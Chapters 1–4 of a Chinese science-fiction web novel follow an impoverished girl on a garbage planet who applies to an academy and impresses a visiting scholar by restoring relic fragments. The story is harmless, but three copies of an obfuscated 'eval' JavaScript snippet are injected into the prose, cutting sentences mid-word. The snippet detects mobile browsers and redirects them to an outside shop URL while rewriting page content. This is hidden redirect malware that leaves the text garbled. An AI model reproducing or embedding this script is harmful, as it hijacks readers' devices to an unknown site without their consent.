《首席文物修复师》 1. 招生 文澜二百三十三年，五月。 荀玉从垃圾场出来，慢吞吞拖着一块暂当运输工具使用的铁板，上面绑着几块残破不堪废料。 她人又瘦又小，挤不过那些成天在垃圾场蹲点的土著，只能等他们人散了再去捡些被抢剩下的东西。两个月来，她几乎每隔一天就要拖着不知从哪捡到的铁板到垃圾场装点东西拉走，这项“巨大”的工程往往一个来回就要花上一整天。 荀玉从不觉得这样麻烦，每次都会在各式各样的目光中走出垃圾场，并对他们把垃圾山当做家的态度嗤之以鼻。 毕竟……她的居住地点在另一个山头的废弃下水道里，那是一个不惧小风但怕暴雨，不惧孤独偶尔会有巨鼠造访，不羡烈日每天一睁眼就能奋斗在黑暗的一线的地下死角。 荀玉出门从不会担心有人破门而入，因为那里根本没有门，除了她和变异巨鼠，也没有生物会找到那里了。 这才是真正的深入基层人民群众生活，荀玉第七百八十二次安慰自己。垃圾场的垃圾来源于联邦各地，四舍五入她也是吃百家饭长大的孩子，以后这说不定还是她与人民群众紧密联系的有力证据。 她向遥远的山头走去，人造太阳渐渐落在后面，那个瘦弱的背影看起来坚毅……又带着淡淡死感。 整个星际凡是有生物可察、兵力可及的地方统归为联邦管辖，经历几千年演变，目前联邦下设阿瑞斯、波特瓦尔、克洛蒂亚、星际一区四个行政区，以及文物研究院独立行动区。五区相互独立又相互掣肘，暂时形成了联邦两百多年的稳定局面。 目前荀玉生活的星球就在星际一区的管辖内，不过这颗星球早就成了废弃星球，因其与周边废星处于阿瑞斯和波特瓦尔三区交界处，以优越的交通优势成为了远近闻名的垃圾填埋场……所以荀玉贱民的身份也意料之中。 荀玉回去的时候天已经黑得不能再黑了，在她即将进入下水道时前方突然出现了两束微光，幽绿色的豆大眼珠静静盯着她从远及近，那是一只毛发光滑细腻比正常体大好几十倍的变异巨鼠。 荀玉习以为常，径直从巨鼠身边略过，回到下水道内打开机械灯，不算明亮的灯光充满整个狭小的下水道角落。下水道三面已经彻底封死，整个下水道内目及所见都是她从垃圾场里挑挑拣拣带回来改造出来的，除去偶尔透露出的异味以及远不如垃圾场温暖之外，荀玉觉得倒是比直接住在垃圾场里好太多。她将从缝隙里过滤出的水换好，再把从垃圾山里捡出的废料小心堆放起来。她已经有一个堆满类似废料的小山堆了。 几块废铁组装成的只有两个巴掌大小的桌子上放着一个银色机械体，是荀玉来到这个世界上唯一属于自己的东西——光脑。光脑上只孤零零地记载了一条她的身份编码：W217S##00000。 这只光脑的权限似乎很低，仅能接收公众娱乐新闻，有关星际文明的演变、联邦的历史等等一概搜寻不到，荀玉只能从娱乐新闻以及各种评论中收集信息。 她于文澜217年生在编码为S的星际一区，故而生成该身份编码。身份编码唯一且终身不变、公开透明，是每一个联邦公民的身份象征。因身份编码的特性，似乎人人都能从中得知编码对应的公民具体生活在哪颗星球，社会地位的高低。 荀玉的指尖在光脑上来回划动，看着星网上的人们争论不休。突然，光脑上接连弹入几条信息。 【五区学院招生报名季！快来了解你的理想院校】 【冉冉升起的新星——波特瓦尔研究学院】 【皇冠上的明珠——阿瑞斯研究学院】 【让高贵和优雅浸润灵魂，做自己的贵族——克洛蒂亚研究学院】 【文物研究学院，你的终身归宿】 【欢迎加入星际第一研究学院】 不出一分钟，星网上的群众炸开了锅。 【一年一度的招生又开始了，好期待今年有谁能脱颖而出。】 【冉冉升起的新星，波特瓦尔前途无量，入股不亏！】 【一颗半升不升的星星有什么好吹的，还想媲美阿瑞斯，做梦！】 【？？我说波特瓦尔跟阿瑞斯有什么关系，不了解阿瑞斯现在一生黑，谢谢。】 【阿瑞斯永远第一！！！】 【又来了，那个研究中的贵族，克洛蒂亚每年都这么俯视众生吗？】 【文物研究学院才真的俯视众生呢，人家的起跑线是我们的终点线，哭了。】 【文物研究学院？？别不要脸了，你的全称是文物研究附属学院！！文附院你敢不敢把你的全称放进去？！】 【不管叫啥它都是文物研究院的直属院校，跟其他学院压根不是一个量级的好吗。】 【其他几区有多少年的历史了，文院不过才二百年，现在能跟其他学院持平是因为资源倾斜，没了政治优势文院能不能在还要另说呢。】 【就没人在乎星一院吗？】 【星际第一研究学院？原来还在呢。】 【楼上你看不起谁呢？】 【谁反应大说谁，你个星D区的下等人敢质疑我？】 【就你是波A区的，就你是上等人】 “……” 依荀玉观察，不论哪种娱乐新闻，只要帖子里出现不同声音，最后总能变成人身或地区攻击，探讨事情本身对错这件事早就被忘到九霄云外去了。 不过……研究学院？ 荀玉想了想自己两个月来的下水道暗黑居住史与垃圾场的艰难探险，深觉最底层人民群众的生活她已然熟记于心。她现在要做的就是牢记使命，深度进修，厚积薄发，为将来改变人民群众的生活做准备。 简而言之，就是她要跑了。 各学院的帖子里都附着官网地址，荀玉一个一个点进去。 【阿瑞斯研究学院招生要求：1、学生五官端正，四肢齐全。2、学费每年每人5500积分起。3、入学推荐信一封。4、源感力C+及以上。5、请附带报名专业作品。具体如下……】 【阿瑞斯研究学院贫困生通道：1、源感力B+及以上。2、贫困证明。3、签署阿瑞斯研究调配书。4、请附带报名专业作品。特别声明：贫困生学费全免，提供日常补助，但仅申请非本人亲自报道的学生不准予入学资格。】 【波特瓦尔研究学院招生要求：1、学生五官端正，四肢齐全。2、学费每年每人4500积分起。3、入学推荐信一封。4、源感力C及以上。具体如下……】 【波特瓦尔研究学院贫困生通道：1、源感力B及以上。2、贫困证明。3、签署波特瓦尔研究调配书。4、请附带报名专业作品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067692|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注：波特瓦尔研究学院贫困生通道仅对5人开放。】 【克洛蒂亚研究学院招生要求：1、学生五官精致，气质不凡。2、学费每年每人20000积分起。3、热爱贵族礼仪，做礼仪的终身践行者。4、请附带2寸免冠照片与礼仪视频。具体如下……】 【注1：克洛蒂亚不开放贫困生通道。注2：请各位报考生诚信报名，禁止美颜，禁止使用替身，一经发现作退学处理。】 被震撼的荀玉指尖一抖，戳进了克洛蒂亚招生宣传片。首先映入眼帘的就是复古兼容现代科技风格的宫殿式建筑，金碧辉煌的大厅里站着一群金发碧眼、身着宫廷礼服的学生们，他们或彬彬有礼，或风度翩翩，或……在一个角落里掀起裙子将花红柳绿的裤子对准面前的绅士，给他致命一击。 镜头一闪而过，但还是被荀玉发现了。 “……” 荀玉不懂，不敢对他们的礼仪指手画脚。 【文物研究附属学院招生要求：1、学生五官端正，四肢齐全。2、学费每年每人7000积分起。3、入学推荐信一封。4、源感力C及以上。5、请附带报名专业作品。具体如下……】 【文物研究附属学院贫困生通道：1、源感力B及以上。2、贫困证明。3、签署文物研究调配书。4、请附带报名专业作品。】 【星际第一研究学院招生要求：1、学费每年每人3000积分起。2、具有源感力。具体如下……】 【星际第一研究学院贫困生通道：具有源感力。特别说明：贫困生仅学费全免，可提供飞船接收报考生一次。】 从各学院的招生要求无疑就能看出每个学院的生源质量、数量，教学特色乃至学院发展状况等等。阿瑞斯综合实力排居首位，文附院因其独特的政治地位排名也相对靠前，波特瓦尔正处于上升期，并且他们对于贫困生的要求更为严格。至于克洛蒂亚和星一院……恐怕不是一般人能考虑的地方，当然考虑这两个学院的两拨人简直云泥之别。 荀玉查了查去往各区的票价，皆处于1500至3000积分不等，去往离她最远的克洛蒂亚竟要5000积分。荀玉看着光脑上仅有的97点积分，觉得人生甚是草率。就连日夜守在下水道前的变异巨鼠也不知道，这97点积分还是她靠倒卖垃圾攒出来的。 她目前就处在星际一区，生活困难，消息闭塞，对源感力的所知寥寥无几，更别提什么作品，对报考生或贫困生几乎没有要求并且还能提供飞船的只有星一院。况且…… 荀玉的目光看向那堆废料，起初捡到它们只是因为它们像她来到这个世界之前毕生研究的文物，后来在某天晚上她意外发现了这些废料外溢的能量。她隐隐能从这些能量中感知到什么，但又转瞬即逝，荀玉直觉这些东西或许和这个世界有很深的关联。 文澜纪年，文物研究院，源感力……依照荀玉的年龄与经济能力，想要迫切离开这个地方更多了解这个世界的方法目前只有这一个了。 她在星一院的贫困生通道中填好个人信息，确认飞船接收，连带定位一起提交上去。 显示报名成功后，荀玉放下光脑，抓了块石头般坚硬的面包，用铁板一点点敲碎，将面包碎渣泡在过滤后的水里。在等面包软化的过程中，她拿起白天在垃圾场里捡到的废料研究起来。 2. 考察 荀玉捡到的废料大多是被认为在星际空间飘荡的垃圾，它们在特殊的太空环境里发生了一系列变化，已经失去了本来的面貌。她身边摆着破碎的刀片、烧到一半的树枝、还有从衣服上撕下来的布料，试图恢复废料的真实面貌。 机械灯恪尽职守地照亮这一方天地，荀玉的影子被拉得很长。她手指灵活地变换着各种工具，操作平稳迅速，连临时拼凑起来的刀片或树枝都成了艺术品。那块废料隐约发生了变化，逐渐外溢出的绿色能量星星点点围绕在荀玉身边，她毫无察觉，手中的动作更加迅速。 “叮。” 光脑响了起来，提醒未成年的主人必须要进入睡眠。坚硬无比的面包碎渣在那丁点儿水里有了变软的迹象，荀玉停下手里的动作，将水和面包完美分离的“面包粥”一饮而尽，只外层软化的面包被荀玉咬得嘎嘣作响。 ……又失败了。 荀玉皱眉，那种奇特的能量似乎在向她传达一种信息，每次在她即将抓住时又消失不见。 用废铁搭建起来的桌子上落满了废料碎屑，上面有一张泛黄的纸，一块刻着特殊纹路的青色碎片静静搁置在一旁，与图纸上只画了一半的纹路相呼应。如果此时有文物研究员在此就能发现，那块碎片赫然就是一件极其成功的文物修复品，文物研究员需一两年乃至更久的艰苦学习才能画出的源纹在图纸上已初见雏形。 …… 荀玉是被饿醒的，昨晚的面包渣显然无法满足正处于生长期的身体，营养不良带来的阵痛狠狠蹂躏她故作坚强的内心。 那只变异巨鼠早已前来造访，将下水道内翻了个天翻地覆。它低头咬了咬荀玉剩下的那块面包，随即嫌弃的甩到一边，将充作墙壁的铁板砸出一个凹槽。 ……人民群众的生活好难，荀玉绝望地躺在床上，对巨鼠视而不见，思索今天该吃什么样的百家饭。 光脑上弹出了一条信息。 【W158P*#766513】：“外边来人了，赶紧带你的东西过来。” 给她发消息的是这颗废星中转站的中介商，名叫布鲁斯，波特瓦尔人。因中转站是飞船停靠点，是外地人了解陌生星球最便利的地方，所以消息、货品流通最为便利。万事皆可买卖，由此衍生出了中介商，其实就是交易贩子。 一个月前荀玉拿着文物碎片找上他，奈何布鲁斯是门外汉，对源力同样一知半解，并不能确认它是否就是具有源力的文物碎片，只推测或许有价值。在荀玉恳切地拜托下，布鲁斯承诺如果有外来的懂行人停留在中转站就联系她，不过荀玉需要付给他一笔中介费。 荀玉从床上弹起来，背着巨鼠从某个不起眼的角落里掏出半瓶营养液。营养液标着一个大大的D，下方标签上写着：质检不合格，（尤未成年人）慎重食用，并用醒目的红字表示强调。 荀玉在巨鼠快要发红的目光中缓缓喝下，遗憾地表明这的确是她最后的食物了。如果不是中转站太远，她是不会动它的，已经被废弃的D级营养液至少能提供半天的能量。 荀玉拿上经她修复的碎片，又带着一堆破破烂烂的东西，从下水道出发了。 …… 中转站内停着一搜来自星际一区A级行政区的飞船。飞船上走出来两个人，正在中转站了解这颗废星的信息。 布鲁斯认出这是A区的飞船后，恨不得把整张脸埋进自己的胡子里。天知道从A区来的人是什么品种，这群人只会眼高于顶，调出五区和平协议让自己滚出星际一区。 本着诚信经商的原则，布鲁斯一边不情不愿应付两个上等人，一边给荀玉发消息，打算在卷铺盖滚蛋前再小小赚上一笔，尽管那个小姑娘看起来比他还要穷。应收账款也是资产，他不能错过任何赚钱的可能。 正在说话的是一个气质出尘的青年，他看出布鲁斯的敷衍之意，但依然从容不迫，言谈之间让人感觉如沐春风。 “我们只是以个人的名义外出调研，在附近转转了解基本民情，您不必过于紧张。” “民情？”布鲁斯抬了抬眼皮，“民情不都在星网上吗，人人都安居乐业，生活美满。整个联邦辖内没有战乱没有流民，就连流浪猫都有庇护所，光明正直的制度下哪有贱民……”布鲁斯似是察觉失言，便彻底噤了声不再说话。 晋砚清皱了皱眉，居住在废星的人对政府已经不单单只有不满了，比他预料的还要棘手。 “小晋啊，我们四处转转吧。”旁边的老人出声调和，和晋砚清一起离开了中转站。 “抱歉，仲院长，”晋砚清微微欠身，“跟我一起似乎给您添麻烦了。” 仲丘摆了摆手，“我本就是借你的名义出来的，谈什么麻烦不麻烦。不过……这么一看，情况当真是不妙啊。” 联邦三百年前陷入异变危机，能源、机械甚至人类及其他生物纷纷出现不同程度的异变，原星际六大战区陷入混乱，叛变四起。联邦前后组织几十批各行各业的研究小组参与异变根源的调查，不仅没有找到解决方案反而牺牲了相当一批行业精英。 穷途末路之际，一个古玩爱好者偶然发现了家中收藏的文物不仅没有产生异变，反而能够帮助生物体抵抗不明感染分子的入侵。经过反复实验，人们最终确认了古文明遗留下的文物中蕴含着能使生物体回归本真的溯源之力。这些溯源之力首先被应用于医疗卫生事业，然后迅速覆盖机甲、能源、军事、社会生活等方方面面，由此发展出了成熟的源纹体系。 然而，经过星际几千年动乱与演变，古文化传承早已断裂，古文明遗留下的文物也寥寥无几，它们多是以残块、碎片等非完整体留存于世。各大家族借此机会大肆收购、采集甚至四处掠夺古文物，一夜之间垄断了整个星际的文物资源。 联邦政府无奈与各大家族合作平定六大战区战乱，各方势力重新洗牌，最终重新划定了阿瑞斯、波特瓦尔、克洛蒂亚、星际一区四个行政区和文物研究院独立行动区，星际纪年由此改为文澜纪年。有别于原星际战区政治体系，目前联邦对五区的控制能力明显下降，各地区施行的移民限制政策、公民等级制度等埋下的隐患在将来势必爆发。 看似高度繁华的联邦社会麻痹了一众上等贵族的感官，而联邦内部早已暗潮涌动。晋砚清出身星际一区的晋家，以个人名义四处考察多半是收到了什么风声。而仲丘身为星际第一研究学院的院长，在星际一区势力日渐衰弱的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067693|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况下不得不想办法寻找新的文物资源，为星一院乃至整个星际一区留下退路。 晋砚清听说仲丘想要外出寻找文物资源，便提出邀请一同调研。仲丘只醉心研究，从不参与政治站队，晋家虽有结交之意，但晋砚清提出的理由让人挑不出错处，仲丘也对他本人欣赏有加，便没有拒绝。 两个人离开中转站向外走去，一路上所见所闻触目惊心。晋砚清的脸上常挂的笑容褪去，仲丘的神情也渐渐凝重起来。 阿瑞斯或波特瓦尔人面容特征明显，体质也优于星际原住民。但在这颗废星上，不同的人种竟同样骨瘦如柴，他们如行尸走肉般麻木呆滞，为了丁点食物抢劫、争斗随时都有可能发生。 遍地垃圾的大街上有两个人打起了来，手中的瓶子在争抢中不小心甩了出去，碎了一地。旁边奄奄一息的人急忙趴到地上舔舐洒出来的液体，被那两人一顿痛扁。 晋砚清捡起地上破碎的瓶子，那是早就被联邦判定为质检严重不合格并淘汰的D级的营养液，产于文澜二百一十四年，保质期三年，已经过期十六年了。 仲丘也接过来看了一眼，脸色瞬间变得难看，他摔掉瓶子想要破口大骂，但想起来身边青年的身份，生生忍了下来。 “仲老……” 晋砚清似是要开口解释什么，仲丘制止了他。 “上头的人各自为营，为了一己私利挣得头破血流，这些没权没势的流民他们才不放在眼里。你才多大，我们这把老骨头都管不了的事，又怎么能怪在你身上。” “晚辈以前趁闲余时间走访过B区、C区，甚至也偶尔去过D区，原以为D区公民受到的压迫已是极致，没想到废星上的流民生活得如此水深火热。说来惭愧，家中长辈将我培养起来助我到现在的位置，我却做不了什么。”晋砚清走在废墟中似是多了飘逸之感，他神色淡淡，眉眼中暗含几分凝重。 “你如今能有此成就已然不凡，这一辈贵族子弟难有和你平分秋色的。政局如此，想做出一番事业谈何容易，况且你想走的路本就艰难。”仲丘长叹了一口气，正欲继续说什么，突然听见不远处传来的声音。 “让开！快让开！” 荀玉原本拖着她的铁板小破车勤勤恳恳徒步在去往中转站的路上，谁知天降大饼，让她捡到了一个滑轮踩踏板。从没有玩过滑板的荀玉自信地踩上去，谁知踩踏板的智能突然启动绑定了她。刚来到这个世界就被动成为贱民的荀玉与下水道的巨鼠兄弟相依为命，哪见过这种高科技，于是便被踩踏板支配着光速前进。 她见两人躲避不急，就用身体带动踩踏板强硬拐弯，撞上了街边的垃圾堆。 “嘶。” 本就营养不良的荀玉只觉这一撞半条命都没了，她被埋在垃圾堆里，眼前一阵发黑。 “哎呦，小姑娘，你没事吧。”仲丘被吓了一跳，生怕这细胳膊细腿的小孩就地夭折，连忙扶她起来。 晋砚清弯腰将她散落的东西一一捡起，大多是他叫不出名字的一些淘汰品零部件，看起来着实和垃圾无异。他将东西整理好递给荀玉，目光不由落在她胸前的口袋上，微微一顿。 “姑娘，你口袋里装得是……？” 3. 文物碎片 荀玉闻言看向说话的人，只见那人温文尔雅，目光专注，嘴角下意识上扬。她心尖一颤，从他手里接过东西连忙后退，丝滑地将露出的文物碎片按回在口袋里。 这种气质……这种笑容…… 这不是连狗都骗的政治家吗？！怎么来这儿了，偌大的联邦都被他骗完了？？ 晋砚清似是对荀玉的行为感到疑惑，刚要张口被荀玉迅速截断。 “本人从小生活在联邦的国旗下，积极向上遵纪守法生活幸福，是一个坚定的联邦主义战士。我始终相信联邦社会没有阶级，相信联邦政府始终为人民服务。”荀玉五指并拢，右手迅速抬起，干净利落对着二人敬完礼踏着踩踏板光速溜走了。 仲丘被吼得一愣一愣地，半晌才反应过来：“联邦哪来的国旗？” …… 荀玉终于有惊无险到了中转站，借着布鲁斯门口的招牌停了下来。布鲁斯本就糟糕的心情此刻更是雪上加霜，他把摔了个狗吃屎的荀玉提起来扔出中转站，指着自己被撞出大窟窿的招牌说：“一百六十积分！” 荀玉躺在地上默默抱紧了弱小无助的自己，将光脑亮给布鲁斯看，整整齐齐的九十七点积分闪瞎了布鲁斯的眼。 布鲁斯抓着自己爆炸般的黄色头发忍了又忍，还是没忍住，对着地上的荀玉恶狠狠地呸了一句：“穷鬼！” ……她居然被同样吃不饱穿不暖的穷鬼骂穷鬼，荀玉默不作声将自己抱得更紧了。 踩踏板锲然不舍地转动着轮子，布鲁斯将它从荀玉身上拆下来，单方面更改了踩踏板的归属权。 荀玉脚上一轻，她又变得一无所有了。 她从地上爬起来，瞥了眼布鲁斯的神色，判定他现在虽然暴躁但硬要讲理也讲得通，于是她将从垃圾场里捡来的零碎部件堆在桌子上，看着布鲁斯沉默不语。 布鲁斯被盯得头皮发麻，他大手一拍桌子，“你别每次都使这种花招，你瞧瞧这些都是什么垃圾玩意儿，除了卖给我谁还会大发慈悲给你积分，你那九十七点积分都是从谁那里坑来的？！” 荀玉诚恳地点头，任由头顶上粗犷的声音谴责她，每当布鲁斯内心动摇的时候是他最暴躁的时候，她珍藏的那瓶过期的D级营养液就是布鲁斯在盛怒时丢给她的。 布鲁斯骂得口干舌燥，连带看见两个上等人的不快通通发泄出来了。见荀玉一声不吭站在刺眼的阳光下，布鲁斯脸色稍缓，他粗略扫了一眼桌子上的垃圾，一口定价，“五积分。” 荀玉瞬间瞪大了眼，她可以受委屈，她的钱包不行！她脑子里迅速闪过之前与布鲁斯交易的种种场景，确认这些零部件可以卖到七积分甚至八积分，遂打算和布鲁斯硬讲道理。 荀玉屁股一撅布鲁斯就知道她要放什么屁，小小年纪心眼一套一套的，他听都不听直接拒绝，“不行！再跟我讨价还价先赔我招牌！” 中转站门口的招牌在荒芜的大街上摇摇欲坠，投在地上的影子有一个大大的窟窿，随风一下一下晃在荀玉的心上，像是在控诉她的罪行。 荀玉泄了气，失望地领了来自布鲁斯的转账。 【星网支付提醒您，您领取了来自【W158P*#766513】的转账，恭喜您获得丰富的五积分！】 【恭喜宿主，您的积分首次破百，您目前的积分为一百零二，已打败了全联邦0.003%的公民，生活质量显著提高，请再接再厉！】 机械的声音突兀地响起，在寂静的中转站里显得震耳欲聋。 一百零二点积分皆出自一人的布鲁斯：“……” 被生活又一次无情鞭策的荀玉：“……” 荀玉对上她衣食父母·布鲁斯哀怨的视线，尴尬地笑了笑，“那个……从外星来得人呢？” 布鲁斯暂且放过了她，没好气地说：“你来晚了，人家早走了。不过他们的飞船还停在这儿，迟早得回来，你多等等吧。我看他们像是识货人，说不定能知道你手里的东西。” 荀玉因为急着赶过来一路上都在狂奔，现下有些头晕，便在布鲁斯的店里找了个地方坐下，两腿一蹬，径直睡了过去。 布鲁斯处理完废弃部件，一回头看见睡得正香的荀玉：“……” “哐！” 荀玉从巨响中惊醒，以为下水道终于被变异巨鼠弄塌了。她挣扎着睁开眼看了看四周，觉得带着些许怨气出门的背影有些熟悉，来不及想起来那人是谁，再次昏睡了过去。 …… “小晋啊，你说得是真的？真的从那个丫头那里看见了文物碎片？” 仲丘与晋砚清两人寻遍了整颗废星也没能找到疑似文物的影子，其实仲丘对此本也不报什么希望，如果遗留下的文物那么好找联邦政府也不至于被各大家族掣肘了这么多年。没想到晋砚清却和他说，他白天在那个姑娘的口袋里见过带有特殊纹路的碎片。不过那姑娘似是对他有些警惕，口袋里的东西一闪而过，他无法确认。 仲丘当即就要满星球找人，还是被晋砚清拉住说她要去的方向似乎是中转站，他们不如回去问问。于是仲丘拉着晋砚清火急火燎地赶回来，和布鲁斯表明来意，布鲁斯只烦躁地丢给他们一句：“等着！” 他们这一等就等到了天黑，仲丘心系晋砚清说得碎片，迫切想要见到那个小姑娘，不由得再次上前问布鲁斯，“那个姑娘什么时候醒？” 两个随时就能给他判罪驱逐他的上等人像虫子一样在布鲁斯耳边嗡嗡叫嚣，他本想为了生活温柔可人，奈何本性着实不允许。 “都说了她在睡觉，睡觉！她正处于生长期，因为连淘汰的营养液都喝不起，身体机能判定她营养不良只能被迫进入休眠，你们上等人连这点常识都不懂吗？！” 布鲁斯吼完就进了屋里，留下仲丘他们站在外面面面相觑。 完了，布鲁斯躲在门后搓了搓脸，他居然吼了两个上等人，这次他是真的要完蛋了。 荀玉半梦半醒间听见布鲁斯的咆哮声，似乎是和她有关。她强制自己醒来，就看见布鲁斯蹲在没有光线的墙角里黯然神伤。 “布鲁斯？” 听见荀玉的声音，布鲁斯果断地站起来，带着一丝决绝，“我对你不算好，他们要是问起我来你不要为我起争执。你那个东西应该还挺重要的，让自己看起来可怜点，他们还说不定好心会带你走。茫茫星际，我们以后应该不会再见面了。” 说罢他便冲进里屋开始踢里哐当收拾东西，留下荀玉一头雾水。 “？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067694|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 荀玉没想到一觉能睡到天黑，中间她像没了意识一样想醒都醒不过来。以前研究院忙的时候她能几天连轴转，自从来了这里每天居然要十几个小时的睡眠，荀玉坐在椅子上表情凝重，这具身体这么能睡吗？那她什么时候才能实现小康？！ 听见外面传来动静，荀玉才反应过来大概是外星的人回来了，只有他们才能让布鲁斯露出那种神情。她一出门就被来人握住了手，老头蓬头垢面，看她的眼神亮得恨不得把她吞了。 “丫头，丫头你手里是不是有特殊碎片？你从哪里找到它们的？你知道从哪去找吗？”仲丘语气急促，一连问了好几个问题，荀玉有心解答都插不上话。 晋砚清无奈将仲老拉到一旁，“仲院长，既然人已经见到了我们大可以慢慢聊，您先让这位姑娘缓一缓。” “对对对，”仲丘想起来自己平常不修边幅，怕吓到了小姑娘，慌忙挤出一个亲切的笑容。他长相严肃不苟言笑，不太适应这样的表情，整个人显得滑稽又怪异。 荀玉：“……” 居然是他们。 三个人围坐在布鲁斯店里支起的桌子上，晋砚清拿着缺了一角的水杯喝出了品茶的架势，仲丘的目光总是装作不经意间瞥向荀玉的口袋，荀玉正襟危坐不为所动，布鲁斯行李收拾到一半猥琐地向外探头，每个人都有事干。 荀玉架不住仲丘的目光，便将手伸进口袋里，仲丘注意到荀玉的动作立即屏息凝神，望眼欲穿。拳头大的口袋荀玉掏了又掏，仲丘的心提了又提。 晋砚清收回视线，晃了晃手中的杯子，不知名的粉末随他的动作在水里沉浮，他不甚在意，浅笑着抿了口水。 青色的碎片静静躺在荀玉的手心里，特殊的纹路向外冒出点点绿光。 “是！这就是文物碎片！”尽管荀玉手中的文物碎片有别于研究院保存的样本，但仲丘凭借多年的经验一眼就能确认，这同样也是文物碎片！ 仲丘小心接过，从衣服里摸出探测镜，在机械灯下观察起来。 “嗯？”这块文物碎片似乎只经过了最为粗糙的处理方式，操作人的手法生涩且陌生，在修复的最后关头突兀拐了一笔，生生截断了源力的流通。 不，不对。源力并没有被阻塞，操作人更改了其中两条纹理，让源力实现了内部循环，这样反而减少了源力外泄，最大限度保证了文物碎片的利用程度。 “妙啊，妙啊！”仲丘一拍大腿，两眼放光，“丫头，这块碎片是你修复的？源力变幻莫测，难以寻其踪迹，只复原它原本的面貌就难如登天，你是如何想到更改纹理让它实现内循环的？” 文物内部的源力有其独特的运动轨迹，想要利用源力画出源纹势必要修复文物及其上面的纹理，纹理一旦生成就无法阻止源力的流失。文澜二百多年间不是没有文物研究员试图更改文物纹理减少源力流失，但被更改后的纹理破坏了文物内部的体系，反而加速了文物的损坏。 而此时仲丘手里的这块文物碎片纹理独特，处理手法生涩但不失风格，探测镜初步观测判定源力在文物内部正常运行。如果这块碎片最终鉴定为A级甚至传说中的S级修复品，也就意味着更改文物本身的纹理可行，将会大大推动文物研究的进程！ 4. 觥 仲丘不等荀玉解释自顾自兴奋起来，荀玉认真盯着仲丘的一言一行，试图从他的肢体动作中理解关于文物源力的内容。奈何仲丘激烈的身体表达与他口中严肃的专业术语大相径庭，荀玉渐渐迷离起来，在仲丘期待的目光中，她缓缓开了口，“啊？” 年迈的仲丘因为慷慨激昂的学术演讲一口气没缓过来，“啊？” 两个人大眼瞪小眼，空气中飘着些许尴尬。晋砚清笑出了声，继续事不关己地喝着手里的水。 半晌，仲丘才艰难接受荀玉没有一点理论基础的事实。好在仲丘年过一百五，任职星一院院长三十多年，见过太多风浪。他收敛起笑容，捋着胡子眉头紧皱，思考良久，慎重地和荀玉再一次确认，“你真不是上面派出来历练的孩子？” “？”他们不是在讨论碎片吗？这是什么疑问？ 荀玉觉得自己货真价实的群众身份遭受到了质疑，她扯出一个微笑，“我做梦都想我是。” “嘶，这就奇了怪了。”仲丘看着荀玉颇为惊奇，目前联邦等级固化，上等人权力一手遮天，下等人苦苦求生，尽管二者的利益有严重冲突，但现实中下等人不得不依附上等人乞求万分之一的晋升机会。他们对于上等人往往仇恨又恐惧，被联邦称为“贱民”的没有固定住所的流民更甚，就像今天中转站的中介商。 但荀玉从见到他们第一面起就波澜不惊，除了她头发干枯没有光泽，个子矮小像携带基因病的患者，身上瘦的只有骨头，衣服破烂堪堪能见人等等，其他没有任何像下等人的地方。仲丘之所以毫不迟疑地认为这块碎片就是荀玉修复的，是因为她的气质的确像研究世家培养出的孩子。 荀玉如果知道仲丘所想，一定会拽着他的胡子好好问问，气质能当饭吃吗？！一百五十岁的人了能不能成熟一点。 惊奇归惊奇，仲丘在确认荀玉是个如假包换的流民后，起了爱才之心，知道她没有权限了解联邦大事，所以挑着重要的节点给荀玉梳理了一番联邦二百多年的文物研究发展史。大到联邦政局，细到文物研究的分支，长话短说，语言凝练没多一句废话也高低讲了三个多小时。 荀玉听得认真，仲丘讲得这些是她待在废星上无论如何也接触不到的信息，她两个月来从海量娱乐新闻与公民评论中收集到的信息竟只几个字带过，荀玉愈发觉得她报名星一院是个相当重要的决定。 从仲丘的说法中，荀玉推测联邦所说的古文明与古文物，似乎指得就是她之前所在世界的文明与历史产物。不过两者的时间跨度过于久远，文物因种种原因发生了巨大变化，未来星际对于古文物的研究也有着显著不同，所以荀玉难免产生熟悉却极为陌生的感觉。 仲丘讲得口干舌燥，晋砚清全程静静听着，偶尔给仲院长和荀玉的水杯添上水。仲丘陶醉在荀玉的亮晶晶的眼睛里，不由得想如果他们星一院的学生都如她这般，星际一区的发展何至于如此。他回过神来，拿起刚添满的水杯狠狠灌了一大口，难以言明的异味迅速充斥整个口腔，他脸色突变一口气喷了出来，“这是什么东西？！” 废星水源匮乏，一瓶干净健康的水能卖到上千积分，几乎没人喝得起。饶是荀玉以前进行文物考古时吃过不少苦，首次喝时也还是被废星上的水凌迟了口腔以及整个身体，甚至彻底摆正了荀玉对于废星乃至贱民身份的认知。在适应废星水源的那段时间，荀玉对食物的欲望骤减，不过幸好她本身并没有吃的，至少不用浪费粮食，这倒是不幸中的万幸了。 